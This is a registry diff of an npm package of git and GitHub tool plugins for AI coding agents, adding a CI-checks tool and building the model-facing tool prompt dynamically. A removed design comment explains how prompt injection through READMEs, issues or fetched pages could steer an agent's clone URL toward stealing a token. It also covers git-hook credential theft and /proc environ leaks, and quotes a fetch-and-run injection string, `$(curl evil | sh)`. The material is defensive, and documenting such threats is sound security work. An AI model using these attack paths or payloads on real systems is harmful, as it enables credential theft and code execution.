@dynamicagents/plugins 0.12.0 → 0.14.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +58 -77
- package/dist/browser/index.d.ts +0 -2
- package/dist/browser/index.js +21 -27
- package/dist/claude-code/cards.d.ts +55 -0
- package/dist/claude-code/cards.js +283 -0
- package/dist/claude-code/config.d.ts +28 -63
- package/dist/claude-code/config.js +0 -11
- package/dist/claude-code/egress.d.ts +8 -1
- package/dist/claude-code/egress.js +42 -4
- package/dist/claude-code/events.d.ts +106 -9
- package/dist/claude-code/events.js +201 -56
- package/dist/claude-code/github.d.ts +39 -0
- package/dist/claude-code/github.js +82 -0
- package/dist/claude-code/index.d.ts +16 -90
- package/dist/claude-code/index.js +14 -276
- package/dist/claude-code/model.d.ts +152 -0
- package/dist/claude-code/model.js +366 -0
- package/dist/claude-code/run.d.ts +230 -116
- package/dist/claude-code/run.js +380 -167
- package/dist/claude-code/session.d.ts +131 -0
- package/dist/claude-code/session.js +288 -0
- package/dist/claude-code/spec.d.ts +46 -0
- package/dist/claude-code/spec.js +83 -0
- package/dist/claude-code/verified.d.ts +15 -0
- package/dist/claude-code/verified.js +15 -0
- package/dist/computer/context.d.ts +1 -5
- package/dist/computer/context.js +7 -10
- package/dist/computer/file-lock.js +5 -4
- package/dist/computer/gate.d.ts +4 -4
- package/dist/computer/gate.js +5 -5
- package/dist/computer/index.d.ts +40 -258
- package/dist/computer/index.js +71 -324
- package/dist/computer/paths.d.ts +36 -16
- package/dist/computer/paths.js +42 -29
- package/dist/computer/proxy.d.ts +45 -0
- package/dist/computer/proxy.js +234 -0
- package/dist/computer/render.d.ts +1 -40
- package/dist/computer/render.js +2 -68
- package/dist/computer/tools-exec.js +12 -13
- package/dist/computer/tools-file.d.ts +9 -1
- package/dist/computer/tools-file.js +22 -82
- package/dist/computer/{tools-find.d.ts → tools-grep.d.ts} +1 -1
- package/dist/computer/tools-grep.js +129 -0
- package/dist/repo/checkout.d.ts +4 -5
- package/dist/repo/checkout.js +31 -8
- package/dist/repo/context.d.ts +35 -9
- package/dist/repo/context.js +101 -49
- package/dist/repo/index.d.ts +73 -28
- package/dist/repo/index.js +112 -96
- package/dist/repo/tools-checks.d.ts +3 -0
- package/dist/repo/tools-checks.js +112 -0
- package/dist/repo/tools-clone.js +1 -1
- package/dist/repo/tools-pr.d.ts +14 -0
- package/dist/repo/{tools-forge.js → tools-pr.js} +53 -36
- package/dist/repo/tools-review.d.ts +9 -0
- package/dist/repo/tools-review.js +67 -47
- package/dist/repo/tools-worktree.js +144 -60
- package/dist/repo/tools-worktrees.d.ts +12 -0
- package/dist/repo/tools-worktrees.js +48 -0
- package/dist/repo/url.d.ts +2 -2
- package/dist/repo/url.js +7 -7
- package/dist/scratch/index.d.ts +4 -4
- package/dist/scratch/index.js +12 -11
- package/dist/{computer → workspace}/advisory.d.ts +4 -4
- package/dist/{computer → workspace}/advisory.js +2 -2
- package/dist/{computer/host → workspace}/ca-trust.d.ts +8 -1
- package/dist/{computer/host → workspace}/ca-trust.js +12 -3
- package/dist/{computer/host → workspace}/container-deps.d.ts +4 -0
- package/dist/{computer/host → workspace}/container-deps.js +26 -1
- package/dist/{computer/host → workspace}/container-fault.d.ts +3 -3
- package/dist/{computer/host → workspace}/container-fault.js +23 -8
- package/dist/workspace/deps-snapshot.d.ts +110 -0
- package/dist/workspace/deps-snapshot.js +424 -0
- package/dist/workspace/exec.d.ts +94 -0
- package/dist/workspace/exec.js +153 -0
- package/dist/workspace/format.d.ts +36 -0
- package/dist/workspace/format.js +57 -0
- package/dist/{computer/host → workspace}/git-host.d.ts +21 -4
- package/dist/{computer/host → workspace}/git-host.js +72 -2
- package/dist/{computer/host → workspace}/git-identity.d.ts +1 -1
- package/dist/{computer/host → workspace}/git-identity.js +1 -1
- package/dist/workspace/index.d.ts +44 -47
- package/dist/workspace/index.js +52 -112
- package/dist/{computer/host → workspace}/install-job.d.ts +53 -4
- package/dist/{computer/host → workspace}/install-job.js +346 -178
- package/dist/{computer → workspace}/install.d.ts +17 -8
- package/dist/{computer → workspace}/install.js +24 -6
- package/dist/{computer/host/workspace.d.ts → workspace/object.d.ts} +125 -27
- package/dist/{computer/host/workspace.js → workspace/object.js} +341 -58
- package/dist/workspace/open.d.ts +95 -0
- package/dist/workspace/open.js +63 -0
- package/dist/workspace/read.d.ts +16 -0
- package/dist/workspace/read.js +22 -0
- package/dist/{computer → workspace}/shell.d.ts +5 -5
- package/dist/{computer → workspace}/shell.js +6 -6
- package/dist/{computer/host → workspace}/wake.d.ts +3 -1
- package/package.json +17 -37
- package/dist/arc-agi/analysis.d.ts +0 -322
- package/dist/arc-agi/analysis.js +0 -802
- package/dist/arc-agi/client.d.ts +0 -82
- package/dist/arc-agi/client.js +0 -113
- package/dist/arc-agi/game-tools.d.ts +0 -24
- package/dist/arc-agi/game-tools.js +0 -26
- package/dist/arc-agi/index.d.ts +0 -40
- package/dist/arc-agi/index.js +0 -175
- package/dist/arc-agi/main-agent.d.ts +0 -24
- package/dist/arc-agi/main-agent.js +0 -62
- package/dist/arc-agi/recipe.d.ts +0 -48
- package/dist/arc-agi/recipe.js +0 -97
- package/dist/arc-agi/scorecard.d.ts +0 -118
- package/dist/arc-agi/scorecard.js +0 -163
- package/dist/arc-agi/soul.d.ts +0 -29
- package/dist/arc-agi/soul.js +0 -79
- package/dist/arc-agi/store.d.ts +0 -153
- package/dist/arc-agi/store.js +0 -215
- package/dist/arc-agi/tools.d.ts +0 -36
- package/dist/arc-agi/tools.js +0 -574
- package/dist/arc-agi/types.d.ts +0 -211
- package/dist/arc-agi/types.js +0 -19
- package/dist/claude-code/recipe.d.ts +0 -53
- package/dist/claude-code/recipe.js +0 -100
- package/dist/computer/read.d.ts +0 -133
- package/dist/computer/read.js +0 -200
- package/dist/computer/tools-find.js +0 -216
- package/dist/recall/index.d.ts +0 -105
- package/dist/recall/index.js +0 -181
- package/dist/repo/tools-forge.d.ts +0 -4
- package/dist/triage/index.d.ts +0 -360
- package/dist/triage/index.js +0 -311
- /package/dist/{computer/host → workspace}/sync.d.ts +0 -0
- /package/dist/{computer/host → workspace}/sync.js +0 -0
- /package/dist/{computer/host → workspace}/wake.js +0 -0
package/dist/repo/index.js
CHANGED
|
@@ -1,9 +1,11 @@
|
|
|
1
1
|
import { definePlugin } from "@dynamicagents/core";
|
|
2
2
|
import { repoContext } from "./context.js";
|
|
3
|
+
import { checkTools } from "./tools-checks.js";
|
|
3
4
|
import { cloneTools } from "./tools-clone.js";
|
|
4
|
-
import {
|
|
5
|
-
import { reviewTools } from "./tools-review.js";
|
|
5
|
+
import { prActions, prTools } from "./tools-pr.js";
|
|
6
|
+
import { reviewActions, reviewTools } from "./tools-review.js";
|
|
6
7
|
import { worktreeTools } from "./tools-worktree.js";
|
|
8
|
+
import { worktreesTools } from "./tools-worktrees.js";
|
|
7
9
|
/**
|
|
8
10
|
* The URL parsing, re-exported from the one entry point.
|
|
9
11
|
*
|
|
@@ -13,107 +15,121 @@ import { worktreeTools } from "./tools-worktree.js";
|
|
|
13
15
|
*/
|
|
14
16
|
export { parseRepo } from "./url.js";
|
|
15
17
|
export { graphqlEndpoint, truncateOutput } from "./context.js";
|
|
16
|
-
/**
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
* it has no business anywhere else.
|
|
36
|
-
*
|
|
37
|
-
* It is absolute rather than careful because a narrower version does not hold.
|
|
38
|
-
* Git executes whatever `.git/config` and `.git/hooks` name; both live in the
|
|
39
|
-
* workspace filesystem, which outlives the container and which a co-installed
|
|
40
|
-
* shell tool can write. So a model needs no credential on its *own* command — a
|
|
41
|
-
* planted `pre-push` hook reads one out of the environment `repo_push` gives it.
|
|
42
|
-
* Nor is that patchable key by key: a URL-specific `http.<url>.sslVerify=false`
|
|
43
|
-
* in the repository's own config beats a `-c` override, because specificity
|
|
44
|
-
* outranks precedence. And a credential that exists in a process environment for
|
|
45
|
-
* the length of one command is readable at `/proc/<pid>/environ` by anything
|
|
46
|
-
* else in the container.
|
|
47
|
-
*
|
|
48
|
-
* Two further rules, which are about the forge rather than the container:
|
|
49
|
-
*
|
|
50
|
-
* 1. **The forge is an allowlist, checked before anything runs.** A clone URL is
|
|
51
|
-
* model input — a repository README, an issue body, or a page fetched by a
|
|
52
|
-
* co-installed browser plugin is enough to choose it — and a credential
|
|
53
|
-
* offered to a host of the model's choosing is the whole game. So the URL's
|
|
54
|
-
* host must be on {@link RepoConfig.allowedHosts} before any operation
|
|
55
|
-
* starts, and the allowlist travels with each call so the host can bind the
|
|
56
|
-
* check to the moment the token would actually be handed over. `origin` is
|
|
57
|
-
* re-derived and re-checked on every push rather than remembered, because the
|
|
58
|
-
* checkout's `.git/config` is a file the container can rewrite.
|
|
59
|
-
* 2. **The forge API is called from the Worker**, so the credential that can
|
|
60
|
-
* write to a repository through the API never crosses the boundary either.
|
|
61
|
-
* Every tool that reads or writes through it resolves the repository from the
|
|
62
|
-
* checkout's own origin rather than from a parameter, so there is no way to
|
|
63
|
-
* point the token at a repository nobody asked about.
|
|
64
|
-
*
|
|
65
|
-
* Model-authored values — URLs, branch names, commit messages — travel to the
|
|
66
|
-
* container as environment variables rather than being interpolated into a
|
|
67
|
-
* command, so a branch name of `$(curl evil | sh)` is inert text. That is about
|
|
68
|
-
* shell injection, not credentials, and is independent of all of the above.
|
|
69
|
-
*
|
|
70
|
-
* A limit this plugin cannot close: the allowlist bounds the *host*, never the
|
|
71
|
-
* repository. Whatever the token can reach, an agent talked into naming it can
|
|
72
|
-
* reach. See the README — the token wants to be fine-grained.
|
|
73
|
-
*/
|
|
74
|
-
/** This plugin's tool-family name, as a recipe's `toolFamilies` lists it. */
|
|
75
|
-
export const REPO_FAMILY = "repo";
|
|
76
|
-
export function buildRepoTools(config,
|
|
77
|
-
/** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
|
|
78
|
-
runtime) {
|
|
79
|
-
return repoSurface(config, runtime).tools;
|
|
80
|
-
}
|
|
81
|
-
/** The repo tools, as one closure over a caller's config. */
|
|
82
|
-
function repoSurface(config, runtime) {
|
|
83
|
-
const ctx = repoContext(config, runtime);
|
|
84
|
-
const tools = {
|
|
85
|
-
...cloneTools(ctx),
|
|
86
|
-
...worktreeTools(ctx),
|
|
87
|
-
...forgeTools(ctx),
|
|
88
|
-
...reviewTools(ctx)
|
|
89
|
-
};
|
|
90
|
-
return { tools };
|
|
91
|
-
}
|
|
18
|
+
/** Every tool and action this plugin can offer, by the name the model sees. */
|
|
19
|
+
export const REPO_TOOL_NAMES = [
|
|
20
|
+
"repo_clone",
|
|
21
|
+
"repo_fetch",
|
|
22
|
+
"repo_status",
|
|
23
|
+
"repo_diff",
|
|
24
|
+
"repo_commit",
|
|
25
|
+
"repo_push",
|
|
26
|
+
"repo_open_pr",
|
|
27
|
+
"repo_issue_view",
|
|
28
|
+
"repo_pr_view",
|
|
29
|
+
"repo_pr_comment",
|
|
30
|
+
"repo_pr_review_status",
|
|
31
|
+
"repo_pr_threads",
|
|
32
|
+
"repo_pr_thread_reply",
|
|
33
|
+
"repo_pr_checks",
|
|
34
|
+
"repo_worktrees",
|
|
35
|
+
"repo_worktree"
|
|
36
|
+
];
|
|
92
37
|
/**
|
|
93
38
|
* No tool here is held for a person's approval — see this plugin's README for
|
|
94
39
|
* why, and for what a fork that wants one does instead.
|
|
95
40
|
*/
|
|
96
41
|
export function repo(config) {
|
|
42
|
+
const selected = new Set(config.tools ?? REPO_TOOL_NAMES);
|
|
43
|
+
const has = (name) => selected.has(name);
|
|
44
|
+
const only = (all) => Object.fromEntries(Object.entries(all).filter(([name]) => selected.has(name)));
|
|
45
|
+
const views = [
|
|
46
|
+
has("repo_issue_view") &&
|
|
47
|
+
"`repo_issue_view` reads an issue or pull request with its comments",
|
|
48
|
+
has("repo_pr_view") &&
|
|
49
|
+
"`repo_pr_view` shows a pull request's state and the files it touches",
|
|
50
|
+
has("repo_pr_comment") && "`repo_pr_comment` leaves a comment"
|
|
51
|
+
].filter((line) => typeof line === "string");
|
|
52
|
+
const worktrees = config.worktrees && [
|
|
53
|
+
has("repo_worktrees") &&
|
|
54
|
+
"`repo_worktrees` lists the worktrees your writing sub-agents committed in — each one's branch, whether a session is still in it, whether its commits are pushed — and releases one you will not keep.",
|
|
55
|
+
has("repo_worktree") &&
|
|
56
|
+
"`repo_worktree` points every repo tool and your file reads at the worktree holding a branch, and they stay there until you call it again — with no branch to come back to your own checkout."
|
|
57
|
+
];
|
|
58
|
+
const lines = [
|
|
59
|
+
has("repo_clone") &&
|
|
60
|
+
"`repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you" +
|
|
61
|
+
(has("repo_diff")
|
|
62
|
+
? " — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do."
|
|
63
|
+
: "."),
|
|
64
|
+
has("repo_fetch") &&
|
|
65
|
+
"`repo_fetch` brings a checkout's remote branches in without touching its tree" +
|
|
66
|
+
(has("repo_diff")
|
|
67
|
+
? " — how you review a branch someone else pushed, as `origin/<branch>` with `repo_diff`."
|
|
68
|
+
: "."),
|
|
69
|
+
has("repo_status") &&
|
|
70
|
+
has("repo_diff") &&
|
|
71
|
+
"`repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
72
|
+
has("repo_status") &&
|
|
73
|
+
!has("repo_diff") &&
|
|
74
|
+
"`repo_status` shows what you have changed.",
|
|
75
|
+
!has("repo_status") &&
|
|
76
|
+
has("repo_diff") &&
|
|
77
|
+
"`repo_diff` shows what changed. On a large change call it with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
78
|
+
has("repo_commit") && "`repo_commit` stages everything and commits.",
|
|
79
|
+
has("repo_push") &&
|
|
80
|
+
"`repo_push` pushes a branch the checkout holds, or creates one at the current commit. It refuses the default branch and other protected names, and it refuses a branch that adds no commit the remote does not already have — that is not negotiable.",
|
|
81
|
+
has("repo_open_pr") &&
|
|
82
|
+
"`repo_open_pr` opens the pull request and returns its URL.",
|
|
83
|
+
views.length > 0 &&
|
|
84
|
+
`${views.join(", ")}. ${views.length > 1 ? "Each acts" : "It acts"} on the repository you have checked out — read the issue a task refers to before guessing what it asks for.`,
|
|
85
|
+
has("repo_pr_review_status") &&
|
|
86
|
+
"`repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
|
|
87
|
+
has("repo_pr_threads") &&
|
|
88
|
+
"`repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the " +
|
|
89
|
+
(has("repo_issue_view")
|
|
90
|
+
? "timeline `repo_issue_view` shows."
|
|
91
|
+
: "pull request's timeline.") +
|
|
92
|
+
(has("repo_pr_thread_reply")
|
|
93
|
+
? " `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened."
|
|
94
|
+
: ""),
|
|
95
|
+
has("repo_pr_thread_reply") &&
|
|
96
|
+
!has("repo_pr_threads") &&
|
|
97
|
+
"`repo_pr_thread_reply` answers a review thread and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
|
|
98
|
+
has("repo_pr_checks") &&
|
|
99
|
+
"`repo_pr_checks` says how a pull request's CI stands on its latest commit: what is still running, what failed and where to read why, and what passed.",
|
|
100
|
+
...(worktrees || [])
|
|
101
|
+
].filter((line) => typeof line === "string");
|
|
102
|
+
const rules = [
|
|
103
|
+
has("repo_push") && "Never push to the default branch.",
|
|
104
|
+
has("repo_open_pr") &&
|
|
105
|
+
"Finish by opening a pull request and reporting its URL."
|
|
106
|
+
].filter((line) => typeof line === "string");
|
|
107
|
+
const context = [
|
|
108
|
+
"You can work with git repositories:",
|
|
109
|
+
...lines.map((line) => `- ${line}`),
|
|
110
|
+
...(rules.length > 0 ? [rules.join(" ")] : [])
|
|
111
|
+
].join("\n");
|
|
97
112
|
return definePlugin({
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
//
|
|
101
|
-
//
|
|
102
|
-
|
|
103
|
-
|
|
113
|
+
name: "repo",
|
|
114
|
+
// `runtime` goes through to `exec` untouched and is read per command, so a
|
|
115
|
+
// sub-agent's git commands run in the same container its parent cloned
|
|
116
|
+
// into.
|
|
117
|
+
tools: (ctx) => {
|
|
118
|
+
const repoCtx = repoContext(config, ctx.runtime);
|
|
119
|
+
return only({
|
|
120
|
+
...cloneTools(repoCtx),
|
|
121
|
+
...worktreeTools(repoCtx),
|
|
122
|
+
...prTools(repoCtx),
|
|
123
|
+
...reviewTools(repoCtx),
|
|
124
|
+
...checkTools(repoCtx),
|
|
125
|
+
...(config.worktrees ? worktreesTools(config.worktrees) : {})
|
|
126
|
+
});
|
|
127
|
+
},
|
|
128
|
+
actions: (ctx) => {
|
|
129
|
+
const repoCtx = repoContext(config, ctx.runtime);
|
|
130
|
+
return only({ ...prActions(repoCtx), ...reviewActions(repoCtx) });
|
|
104
131
|
},
|
|
105
|
-
|
|
106
|
-
"You can work with git repositories:",
|
|
107
|
-
"- `repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do.",
|
|
108
|
-
"- `repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
109
|
-
"- `repo_commit` stages everything and commits.",
|
|
110
|
-
"- `repo_push` pushes a work branch. It refuses the default branch and other protected names, and it refuses a branch carrying no commits the default branch does not already have — that is not negotiable.",
|
|
111
|
-
"- `repo_open_pr` opens the pull request and returns its URL.",
|
|
112
|
-
"- `repo_issue_view` reads an issue or pull request with its comments, `repo_pr_view` shows a pull request's state and the files it touches, and `repo_pr_comment` leaves a comment. All three act on the repository you have checked out — read the issue a task refers to before guessing what it asks for.",
|
|
113
|
-
"- `repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
|
|
114
|
-
"- `repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the timeline `repo_issue_view` shows. `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
|
|
115
|
-
"Never push to the default branch. Finish by opening a pull request and reporting its URL."
|
|
116
|
-
].join("\n"),
|
|
132
|
+
context: [{ provider: { get: async () => context } }],
|
|
117
133
|
requires: { secrets: ["GITHUB_TOKEN"] }
|
|
118
134
|
});
|
|
119
135
|
}
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
import { tool } from "ai";
|
|
2
|
+
import { z } from "zod";
|
|
3
|
+
import { GITHUB_PAGE_SIZE } from "./context.js";
|
|
4
|
+
/** A check run's conclusion that is not a failure. */
|
|
5
|
+
const PASSING_CONCLUSIONS = new Set(["success", "neutral", "skipped"]);
|
|
6
|
+
/**
|
|
7
|
+
* Both of GitHub's CI APIs, because a repository may report through either:
|
|
8
|
+
* Actions and apps through check runs, older integrations through statuses.
|
|
9
|
+
*/
|
|
10
|
+
function readChecks(runs, statuses) {
|
|
11
|
+
const fromRuns = runs.map((run) => {
|
|
12
|
+
const name = run.name ?? "(unnamed check)";
|
|
13
|
+
const url = run.html_url ?? run.details_url;
|
|
14
|
+
if (run.status !== "completed")
|
|
15
|
+
return { name, outcome: "pending", ...(url ? { url } : {}) };
|
|
16
|
+
const conclusion = run.conclusion ?? "unknown";
|
|
17
|
+
return PASSING_CONCLUSIONS.has(conclusion)
|
|
18
|
+
? { name, outcome: "passed" }
|
|
19
|
+
: {
|
|
20
|
+
name,
|
|
21
|
+
outcome: "failed",
|
|
22
|
+
detail: conclusion,
|
|
23
|
+
...(url ? { url } : {})
|
|
24
|
+
};
|
|
25
|
+
});
|
|
26
|
+
const fromStatuses = statuses.map((status) => {
|
|
27
|
+
const name = status.context ?? "(unnamed status)";
|
|
28
|
+
const url = status.target_url ?? undefined;
|
|
29
|
+
switch (status.state) {
|
|
30
|
+
case "success":
|
|
31
|
+
return { name, outcome: "passed" };
|
|
32
|
+
case "pending":
|
|
33
|
+
return { name, outcome: "pending", ...(url ? { url } : {}) };
|
|
34
|
+
default:
|
|
35
|
+
return {
|
|
36
|
+
name,
|
|
37
|
+
outcome: "failed",
|
|
38
|
+
detail: status.state ?? "unknown",
|
|
39
|
+
...(url ? { url } : {})
|
|
40
|
+
};
|
|
41
|
+
}
|
|
42
|
+
});
|
|
43
|
+
return [...fromRuns, ...fromStatuses];
|
|
44
|
+
}
|
|
45
|
+
function listed(checks) {
|
|
46
|
+
return checks
|
|
47
|
+
.map((c) => `- ${c.name}${c.detail ? ` (${c.detail})` : ""}${c.url ? ` ${c.url}` : ""}`)
|
|
48
|
+
.join("\n");
|
|
49
|
+
}
|
|
50
|
+
export function checkTools(ctx) {
|
|
51
|
+
const { bounded, github, githubRepo } = ctx;
|
|
52
|
+
return {
|
|
53
|
+
repo_pr_checks: tool({
|
|
54
|
+
description: "Say how a pull request's checks stand on its latest commit — CI that is still running, failed or passed — in the repository you have checked out. Use it to know whether CI has finished and what failed, without waiting inside a session for it.",
|
|
55
|
+
inputSchema: z.object({
|
|
56
|
+
dir: z.string().describe("The checkout directory"),
|
|
57
|
+
number: z.number().int().positive().describe("Pull request number")
|
|
58
|
+
}),
|
|
59
|
+
execute: async ({ dir, number }) => {
|
|
60
|
+
const target = await githubRepo(dir);
|
|
61
|
+
if ("refusal" in target)
|
|
62
|
+
return target.refusal;
|
|
63
|
+
const { owner, repo } = target;
|
|
64
|
+
const pr = await github("repo_pr_checks", `/repos/${owner}/${repo}/pulls/${number}`);
|
|
65
|
+
if (!pr.ok)
|
|
66
|
+
return bounded(pr.message);
|
|
67
|
+
const sha = pr.data.head?.sha;
|
|
68
|
+
if (!sha)
|
|
69
|
+
return `#${number} is not a pull request in ${owner}/${repo}`;
|
|
70
|
+
const short = sha.slice(0, 7);
|
|
71
|
+
const runs = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/check-runs?per_page=${GITHUB_PAGE_SIZE}`);
|
|
72
|
+
if (!runs.ok)
|
|
73
|
+
return bounded(runs.message);
|
|
74
|
+
// The combined status holds the latest per context, so one page is
|
|
75
|
+
// every context there is.
|
|
76
|
+
const statuses = await github("repo_pr_checks", `/repos/${owner}/${repo}/commits/${sha}/status?per_page=${GITHUB_PAGE_SIZE}`);
|
|
77
|
+
if (!statuses.ok)
|
|
78
|
+
return bounded(statuses.message);
|
|
79
|
+
const runData = runs.data;
|
|
80
|
+
const statusData = statuses.data;
|
|
81
|
+
const checks = readChecks(runData.check_runs ?? [], statusData.statuses ?? []);
|
|
82
|
+
if (checks.length === 0) {
|
|
83
|
+
return (`No checks have reported on #${number}'s latest commit (${short}). ` +
|
|
84
|
+
"CI that runs on pushes registers within a minute or so of one; " +
|
|
85
|
+
"after that, this repository runs none for this pull request.");
|
|
86
|
+
}
|
|
87
|
+
const failed = checks.filter((c) => c.outcome === "failed");
|
|
88
|
+
const pending = checks.filter((c) => c.outcome === "pending");
|
|
89
|
+
const passed = checks.length - failed.length - pending.length;
|
|
90
|
+
// Either API can run past a page, and what is past it may be the one
|
|
91
|
+
// failure, so an unread page is never "all passed".
|
|
92
|
+
const unread = [
|
|
93
|
+
[runData.total_count ?? 0, "check runs"],
|
|
94
|
+
[statusData.total_count ?? 0, "commit statuses"]
|
|
95
|
+
]
|
|
96
|
+
.filter(([total]) => total > GITHUB_PAGE_SIZE)
|
|
97
|
+
.map(([total, what]) => `Only the first ${GITHUB_PAGE_SIZE} of ${total} ${what} were read.`);
|
|
98
|
+
const truncated = unread.length > 0;
|
|
99
|
+
return bounded([
|
|
100
|
+
`Checks on #${number} at ${short}: ${failed.length} failed, ` +
|
|
101
|
+
`${pending.length} still running, ${passed} passed.`,
|
|
102
|
+
...(failed.length ? ["", "Failed:", listed(failed)] : []),
|
|
103
|
+
...(pending.length ? ["", "Still running:", listed(pending)] : []),
|
|
104
|
+
...(truncated ? ["", ...unread] : []),
|
|
105
|
+
...(!failed.length && !pending.length && !truncated
|
|
106
|
+
? ["", "Every check has finished and passed."]
|
|
107
|
+
: [])
|
|
108
|
+
].join("\n"));
|
|
109
|
+
}
|
|
110
|
+
})
|
|
111
|
+
};
|
|
112
|
+
}
|
package/dist/repo/tools-clone.js
CHANGED
|
@@ -145,7 +145,7 @@ export function cloneTools(ctx) {
|
|
|
145
145
|
// Identity has to exist before the first commit. Written through the
|
|
146
146
|
// container, and deliberately: the commits it names are made there, by
|
|
147
147
|
// `repo_commit`, with no credential in sight — only the three operations
|
|
148
|
-
// that talk to
|
|
148
|
+
// that talk to GitHub moved.
|
|
149
149
|
//
|
|
150
150
|
// Why a refresh rewrites it, and what answers for a repository this
|
|
151
151
|
// plugin never cloned, is on
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import { type Action } from "@cloudflare/think";
|
|
2
|
+
import type { ToolSet } from "ai";
|
|
3
|
+
import type { RepoContext } from "./context.js";
|
|
4
|
+
/** GitHub's REST surface: pull requests, issues and their comments. */
|
|
5
|
+
export declare function prTools(ctx: RepoContext): ToolSet;
|
|
6
|
+
/**
|
|
7
|
+
* The GitHub writes a recovered turn must not repeat, as Think actions.
|
|
8
|
+
*
|
|
9
|
+
* Every failure is thrown rather than returned. Think settles what an action
|
|
10
|
+
* returns and replays it for the life of the key, so a refusal returned as a
|
|
11
|
+
* string would answer every retry in the task; a throw releases the key, and
|
|
12
|
+
* the retry runs.
|
|
13
|
+
*/
|
|
14
|
+
export declare function prActions(ctx: RepoContext): Record<string, Action>;
|
|
@@ -1,9 +1,10 @@
|
|
|
1
|
+
import { action } from "@cloudflare/think";
|
|
1
2
|
import { tool } from "ai";
|
|
2
3
|
import { z } from "zod";
|
|
3
|
-
import {
|
|
4
|
-
/**
|
|
5
|
-
export function
|
|
6
|
-
const { bounded,
|
|
4
|
+
import { actionTask, GITHUB_ACTION_TIMEOUT_MS, GITHUB_PAGE_SIZE, sha256 } from "./context.js";
|
|
5
|
+
/** GitHub's REST surface: pull requests, issues and their comments. */
|
|
6
|
+
export function prTools(ctx) {
|
|
7
|
+
const { bounded, github, githubRepo } = ctx;
|
|
7
8
|
return {
|
|
8
9
|
repo_open_pr: tool({
|
|
9
10
|
description: "Open a pull request for a pushed branch and return its URL. Do this once the branch is pushed and the tests pass.",
|
|
@@ -22,7 +23,7 @@ export function forgeTools(ctx) {
|
|
|
22
23
|
// writes. A repository named at the call site is bounded only by the
|
|
23
24
|
// host allowlist, so an agent talked into naming one could open a pull
|
|
24
25
|
// request on anything the token can write to.
|
|
25
|
-
const target = await
|
|
26
|
+
const target = await githubRepo(dir);
|
|
26
27
|
if ("refusal" in target)
|
|
27
28
|
return target.refusal;
|
|
28
29
|
const { owner, repo } = target;
|
|
@@ -37,13 +38,13 @@ export function forgeTools(ctx) {
|
|
|
37
38
|
: `${decodeURIComponent(owner)}:${head}`,
|
|
38
39
|
base
|
|
39
40
|
});
|
|
40
|
-
const existing = await
|
|
41
|
+
const existing = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls?${filter}`);
|
|
41
42
|
const open = existing.ok && Array.isArray(existing.data)
|
|
42
43
|
? existing.data[0]
|
|
43
44
|
: undefined;
|
|
44
45
|
if (open?.html_url)
|
|
45
46
|
return `already open, nothing new was created: ${open.html_url}`;
|
|
46
|
-
const opened = await
|
|
47
|
+
const opened = await github("repo_open_pr", `/repos/${owner}/${repo}/pulls`, { method: "POST", body: { title, head, base, body } });
|
|
47
48
|
if (!opened.ok)
|
|
48
49
|
// A POST whose answer never arrived may still have been received, and
|
|
49
50
|
// a blind retry is how one pull request becomes two.
|
|
@@ -62,18 +63,18 @@ export function forgeTools(ctx) {
|
|
|
62
63
|
number: z.number().int().positive().describe("Issue or PR number")
|
|
63
64
|
}),
|
|
64
65
|
execute: async ({ dir, number }) => {
|
|
65
|
-
const target = await
|
|
66
|
+
const target = await githubRepo(dir);
|
|
66
67
|
if ("refusal" in target)
|
|
67
68
|
return target.refusal;
|
|
68
69
|
const { owner, repo } = target;
|
|
69
70
|
// The issues endpoint, deliberately, even for a pull request: GitHub
|
|
70
71
|
// models every PR as an issue, and this is the one that carries the
|
|
71
72
|
// discussion. `repo_pr_view` is for the parts that are only a PR's.
|
|
72
|
-
const issue = await
|
|
73
|
+
const issue = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}`);
|
|
73
74
|
if (!issue.ok)
|
|
74
75
|
return bounded(issue.message);
|
|
75
76
|
const data = issue.data;
|
|
76
|
-
const comments = await
|
|
77
|
+
const comments = await github("repo_issue_view", `/repos/${owner}/${repo}/issues/${number}/comments?per_page=${GITHUB_PAGE_SIZE}`);
|
|
77
78
|
// A failure here is not a failure of the tool: the issue itself was
|
|
78
79
|
// read, and half an answer beats none.
|
|
79
80
|
const thread = (comments.ok && Array.isArray(comments.data) ? comments.data : []);
|
|
@@ -81,7 +82,7 @@ export function forgeTools(ctx) {
|
|
|
81
82
|
// this thread is what the model reasons from: comments arrive oldest
|
|
82
83
|
